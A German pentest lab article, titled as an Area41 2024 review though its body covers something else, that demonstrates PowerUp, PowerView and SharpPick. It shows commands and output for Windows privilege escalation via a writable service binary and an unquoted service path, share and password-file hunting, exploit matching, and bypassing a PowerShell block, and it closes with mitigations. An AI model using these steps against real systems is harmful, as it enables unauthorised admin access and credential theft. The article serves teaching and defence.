Area41 2024 - Ein Rückblick
Michael Schneider
PowerShell ist ein sehr vielseitiges Tool. In früheren Labs habe ich mich bereits über die Grundlagen PowerShells im Umfeld des Penetration Testings geschrieben und habe zudem versucht PowerShell zu blockieren. In diesem Labs will ich darauf eingehen, wie PowerShell als offensives Tool eingesetzt werden kann. Dazu habe ich mit der Toolsammlung PowerTools des Veil-Framework Projekts auseinandergesetzt.
PowerUp ist ein Tool zur Unterstützung von Local Privilege Escalation Attacken gegen Microsoft Windows Systeme und wurde von Will Schroeder alias @harmj0y entwickelt. PowerUp besteht aus einer PS1-Datei und wird durch den Befehl Import-Module
in einer PS-Session geladen. Die Funktion Invoke-AllChecks
untersucht die Konfiguration des Systems und listet mögliche Angriffsvektoren auf. Ich habe mit dieser Funktion einen Windows 8 Client in meinem Lab-Netzwerk untersucht und dabei zwei Dienste gefunden, die mit normalen Benutzerrechten manipuliert werden können.
PS C:\Tools\PowerUp> Invoke-AllChecks [*] Running Invoke-AllChecks [*] Checking if user is in a local group with administrative privileges... [*] Checking for unquoted service paths... [*] Use 'Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse [+] Unquoted service path: ProcessExplorerService - C:\Program Files\procexp.exe [+] Unquoted service path: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe [*] Checking service executable permissions... [*] Use 'Write-ServiceEXE -ServiceName SVC' or 'Write-ServiceEXECMD' to abuse [+] Vulnerable service executable: ProcessExplorerService - C:\Program Files\procexp.exe [+] Vulnerable service executable: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe [*] Checking service permissions... [*] Checking for unattended install files... [*] Checking %PATH% for potentially hijackable .dll locations... [*] Checking for AlwaysInstallElevated registry key... [*] Checking for Autologon credentials in registry... [*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords...
Für beide Dienste existieren zwei mögliche Angriffsvektoren. Beim Dienst ProcessExplorerService hat der normaler lokaler Benutzer Schreibrechte auf die Datei procexp.exe
und kann diese unter anderem durch eine beliebige andere Datei ersetzen. Die PowerUp-Funktion Write-ServiceEXE
erstellt dazu eine Datei, die einen zusätzlichen lokalen Benutzer anlegt und diesen der lokalen Administratorengruppe hinzufügt. Mit dieser neu erstellten Datei wird anschliessend die Datei des Dienstes überschrieben. Damit dieser Vorgang nach erfolgreicher Durchführung wieder rückgängig gemacht werden kann, sollte zuvor eine Kopie der Originaldatei angelegt werden. Die Funktion Write-ServiceEXE
erstellt automatisch ein Backup der zu ersetzenden Datei.
Vor der Ausführung sollte der Angreifer aber sicherstellen, dass der Benutzeraccount auch die erforderlichen Rechte hat, eine Kopie im Verzeichnis anzulegen. Ist dies nicht der Fall, sollte vor der Ausführung eine Kopie manuell erstellt werden, so dass nach der erfolgreichen Ausführung der ursprüngliche Zustand wiederhergestellt werden kann und keine deutlich sichtbaren Spuren hinterlassen werden. Im folgenden Beispiel wird eine Fehlermeldung ausgegeben, da die Datei procexp.exe
zwar überschrieben werden konnte, das Speichern der Kopie aber fehlschlug. Trotzdem wird beim nächsten Start des Diensts die manipulierte Datei ausgeführt und der Benutzer scip_admin
angelegt. Dadurch erhält der Angreifer einen Benutzer mit lokalen Administratorenrechten.
PS C:\Tools\PowerUp> Write-ServiceEXE -ServiceName ProcessExplorerService -UserName scip_admin Move-Item : Access to the path is denied. At C:\Tools\PowerUp\PowerUp.ps1:689 char:13 + Move-Item $ServicePath $BackupPath + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (C:\Program Files\procexp.exe:FileInfo) [Move-Item], UnauthorizedAccessException + FullyQualifiedErrorId : MoveFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.MoveItemCommand [*] Binary for service 'ProcessExplorerService' to create user 'scip_admin : Password123!' written to 'C:\Program Files\procexp.exe'
Bei der Definition des Dienstes ProcessMonitorService wurde der Pfad zur ausführbaren Datei ohne Anführungszeichen definiert. Der vollständige Pfad lautet C:\Program Files\Sysinternal\Process Monitor\Procmon.exe
. Windows wird beim Starten des Dienstes nun bei jedem Leerzeichen im Pfad nach einer ausführbaren Datei suchen. Folglich werden nebst der eigentlichen Datei Procon.exe
auch die folgenden Dateien ausgeführt, falls diese existieren:
C:\Program.exe
C:\Program Files\Sysinternal\Process.exe
Um diese Fehlkonfiguration auszunutzen, benötigt der Angreifer Schreibrechte im jeweiligen Verzeichnis. Standardmässig haben nicht privilegierte Benutzer keine Schreibrechte auf Verzeichnisse unter C:\Program Files
. In diesem Beispiel sind die Berechtigungen für das Unterverzeichnis Sysinternal
jedoch so gesetzt, dass auch ein normaler Benutzer Dateien schreiben kann. Mit der PowerUp-Funktion Write-UserAddServiceBinary
wird nun eine Datei erstellt, die einen neuen Benutzer anlegt und diese Datei wird als Process.exe
ins Verzeichnis Sysinternals
kopiert. Wenn der Dienst das nächste Mal gestartet wird, wird der neue Benutzer scip_admin2
angelegt. Dadurch erhält der Angreifer einen Benutzer mit lokalen Administratorenrechten.
PowerView, ebenfalls entwickelt von Will Schroeder, ist ein Tool das Windows Domänen Funktionen nutzen kann um mehr über ein Netzwerk und dessen Benutzer in Erfahrung zu bringen. Bei allen Optionen des Tools handelt es sich um legitime Anfragen, die im Rechtekontext eines Domänen-Benutzers ausgeführt werden können. Einige Funktionen genannt MetaFunctions stammen aus dem Tool netview des Security Researchers Rob Fuller alias mubix. Mit wenigen Befehlen können Informationen über Benutzer, Computer und Shares ausgelesen werden.
PS C:\Tools\PowerView> Invoke-Netview Running Netview with delay of 0 [+] Domain Controller: dc01.labs.scip.ch [*] Total number of hosts: 2 [+] Server: dc01.labs.scip.ch [+] IP: 192.168.78.100 [+] dc01.labs.scip.ch - Share: ADMIN$ : Remote Admin [+] dc01.labs.scip.ch - Share: Backup$ : [+] dc01.labs.scip.ch - Share: C$ : Default share [+] dc01.labs.scip.ch - Share: Data : [+] dc01.labs.scip.ch - Share: IPC$ : Remote IPC [+] dc01.labs.scip.ch - Share: NETLOGON : Logon server share [+] dc01.labs.scip.ch - Share: SYSVOL : Logon server share [+] dc01.labs.scip.ch - Share: Users : [+] Server: client02.labs.scip.ch [+] IP: 192.168.78.135 [+] client02.labs.scip.ch - Logged-on - LABS\\sysop [+] client02.labs.scip.ch - Logged-on - LABS\\sysop [+] client02.labs.scip.ch - Logged-on - LABS\\sysop [+] client02.labs.scip.ch - Logged-on - LABS\\sysop [+] client02.labs.scip.ch - Logged-on - LABS\\jdoe [+] client02.labs.scip.ch - Share: ADMIN$ : Remote Admin [+] client02.labs.scip.ch - Share: C$ : Default share [+] client02.labs.scip.ch - Share: IPC$ : Remote IPC
Der Befehl Invoke-ShareFinder
durchsucht das Netzwerk nach Freigaben und listet diese nach System auf. Es werden auch versteckte Freigaben (mit einem $ am Ende des Namens) aufgelistet. Solche Freigaben werden im Windows Explorer in der Standardübersicht nicht angezeigt. Innerhalb der gefundenen Freigaben kann mittels der Funktion Invoke-FileFinder
nach Dateien gesucht wurden. Der Aufruf der Funktion, ohne zusätzliche Parameter, sucht nach Dateien mit den Begriffen pass, sensitive, secret, admin, login, oder unattend*.xml im Namen. Zusätzlich kann durch die Verwendung des Parameters -Terms
nach bestimmten Suchbegriffen respektive Mustern gesucht werden. Im folgenden Beispiel wird in den Freigaben nach ZIP-Dateien gesucht.
PS C:\Tools\PowerView> Invoke-FileFinder FullName : \\dc01.labs.scip.ch\Backup$\passwords.txt Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:40 LastWriteTime : 02.07.2015 07:18:06 Length : 44 PS C:\Tools\PowerView> Invoke-FileFinder -Terms *.zip FullName : \\dc01.labs.scip.ch\Backup$\backup-01.zip Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:13 LastWriteTime : 02.07.2015 07:17:13 Length : 0 FullName : \\dc01.labs.scip.ch\Backup$\backup-02.zip Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:25 LastWriteTime : 02.07.2015 07:17:13 Length : 0 FullName : \\dc01.labs.scip.ch\Backup$\backup-03.zip Owner : BUILTIN\Administrators LastAccessTime : 02.07.2015 07:17:32 LastWriteTime : 02.07.2015 07:17:13 Length : 0
Zu jedem Computer-Objekt ist im Active Directory die Betriebssystem Version (Version und das installierte Service Pack) hinterlegt. Die Funktion Get-ExploitableSystems
liest diese Information aus und gleicht diese mit einer Liste öffentlich bekannter Exploits ab.
PS C:\Tools\PowerView> Get-ExploitableSystems ComputerName : dc01.labs.scip.ch OperatingSystem : Windows Server 2008 R2 Standard ServicePack : LastLogon : 02.07.2015 07:10:13 MsfModule : exploit/windows/smb/ms10_061_spoolss CVE : http://www.cvedetails.com/cve/2010-2729 ComputerName : dc01.labs.scip.ch OperatingSystem : Windows Server 2008 R2 Standard ServicePack : LastLogon : 02.07.2015 07:10:13 MsfModule : exploit/windows/smb/ms10_061_spoolss CVE : http://www.cvedetails.com/cve/2010-2729 ComputerName : dc01.labs.scip.ch OperatingSystem : Windows Server 2008 R2 Standard ServicePack : LastLogon : 02.07.2015 07:10:13 MsfModule : exploit/windows/smb/ms08_067_netapi CVE : http://www.cvedetails.com/cve/2008-4250 ComputerName : dc01.labs.scip.ch OperatingSystem : Windows Server 2008 R2 Standard ServicePack : LastLogon : 02.07.2015 07:10:13 MsfModule : exploit/windows/smb/ms09_050_smb2_negotiate_func_index CVE : http://www.cvedetails.com/cve/2009-3103
Das Ziel des Projekts PowerPick entwickelt vom Pentester/Red-Teamer Justin Warner alias @sixdub ist es PowerShell-Funktionen ohne powershell.exe
zu nutzen. Ein ähnliches Projekt ist das Tool PS2EXE, das ich in Die Geschichte vom Versuch, PowerShell zu blocken vorgestellt habe. Während bei PS2EXE ein PS-Skript in eine ausführbare Datei gekapselt wird, ist das Tool SharpPick in der Lage, beliebige PS-Skripte von Dateien, Ressourcen oder URLs direkt auszuführen. Dazu wird das Skript als Parameter beim Aufruf von sharppick.exe
übergeben. Wenn also die Ausführung powershell.exe
blockiert ist, aber andere beliebige ausführbare Dateien erlaubt sind, können weiterhin PS-Skripte ausgeführt werden.
C:\Program Files\Sysinternals>SharpPick.exe -f C:\Tools\PowerUp\PowerUp.ps1 [*] Running Invoke-AllChecks [*] Checking if user is in a local group with administrative privileges... [*] Checking for unquoted service paths... [*] Use 'Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse [+] Unquoted service path: ProcessExplorerService - C:\Program Files\procexp.exe [+] Unquoted service path: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe
Es gibt kein Allheilmittel gegen die in diesem Artikel genannten Angriffe. Die Verteidigung gegen solche Angriffe beginnt bei der Konfiguration des Betriebssystems und Netzwerks.
Nebst diesen Massnahmen sollten weitere Kontrollmechanismen wie eine Whitelist für Programme implementiert werden. Wenn bekannt ist, aus welchen Verzeichnissen Programme ausgeführt werden, dann sollten andere Verzeichnisse wie zum Beispiel das Verzeichnis des Benutzerprofils so eingerichtet werden, dass einerseits die Ausführung von Dateien nicht erlaubt werden und andererseits ausführbare Dateien gar nicht erst gespeichert werden dürfen. Ab Windows Server 2008 hat Microsoft das Feature Filter Screening eingeführt, mit dem bei Freigaben festgelegt werden kann, welche Dateitypen in der Freigabe gespeichert werden können. So ist es zum Beispiel möglich das Speichern von ausführbaren Dateien zu verhindern.
Mit der Kombinationen dieser Kontrollmechanismen können die gezeigten Beispiele mitigiert und somit die Angriffsoberfläche für lokale Systeme und das interne Netzwerk deutlich reduziert werden.
Unsere Spezialisten kontaktieren Sie gern!
Michael Schneider
Michael Schneider
Michael Schneider
Michael Schneider
Unsere Spezialisten kontaktieren Sie gern!